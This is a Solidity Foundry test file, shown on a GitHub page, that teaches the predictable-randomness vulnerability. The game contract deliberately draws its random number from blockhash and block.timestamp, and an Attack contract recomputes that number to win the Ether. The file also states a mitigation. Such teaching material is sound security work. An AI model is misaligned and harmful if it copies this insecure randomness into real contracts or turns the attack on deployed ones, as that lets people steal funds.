-
Notifications
You must be signed in to change notification settings - Fork 288
/
Randomness.sol
99 lines (78 loc) · 2.63 KB
/
Randomness.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import "forge-std/Test.sol";
/*
Name: Predictable Randomness Vulnerability
Description:
Use of global variables like block hash, block number,
block timestamp and other fields is insecure, miner and attacker can control it.
Scenario:
GuessTheRandomNumber is a game where you win 1 Ether if you can guess the
pseudo random number generated from block hash and timestamp.
At first glance, it seems impossible to guess the correct number.
But let's see how easy it is win.
1. Alice deploys GuessTheRandomNumber with 1 Ether
2. Eve deploys Attack
3. Eve calls Attack.attack() and wins 1 Ether
What happened?
Attack computed the correct answer by simply copying the code that computes the random number.
Mitigation:
Don't use blockhash and block.timestamp as source of randomness
REF:
https://solidity-by-example.org/hacks/randomness/
*/
contract ContractTest is Test {
GuessTheRandomNumber GuessTheRandomNumberContract;
Attack AttackerContract;
function testRandomness() public {
address alice = vm.addr(1);
address eve = vm.addr(2);
vm.deal(address(alice), 1 ether);
vm.prank(alice);
GuessTheRandomNumberContract = new GuessTheRandomNumber{
value: 1 ether
}();
vm.startPrank(eve);
AttackerContract = new Attack();
console.log(
"Before exploiting, Balance of AttackerContract:",
address(AttackerContract).balance
);
AttackerContract.attack(GuessTheRandomNumberContract);
console.log(
"Eve wins 1 Eth, Balance of AttackerContract:",
address(AttackerContract).balance
);
console.log("Exploit completed");
}
receive() external payable {}
}
contract GuessTheRandomNumber {
constructor() payable {}
function guess(uint _guess) public {
uint answer = uint(
keccak256(
abi.encodePacked(blockhash(block.number - 1), block.timestamp)
)
);
if (_guess == answer) {
(bool sent, ) = msg.sender.call{value: 1 ether}("");
require(sent, "Failed to send Ether");
}
}
}
contract Attack {
receive() external payable {}
function attack(GuessTheRandomNumber guessTheRandomNumber) public {
uint answer = uint(
keccak256(
abi.encodePacked(blockhash(block.number - 1), block.timestamp)
)
);
guessTheRandomNumber.guess(answer);
}
// Helper function to check balance
function getBalance() public view returns (uint) {
return address(this).balance;
}
}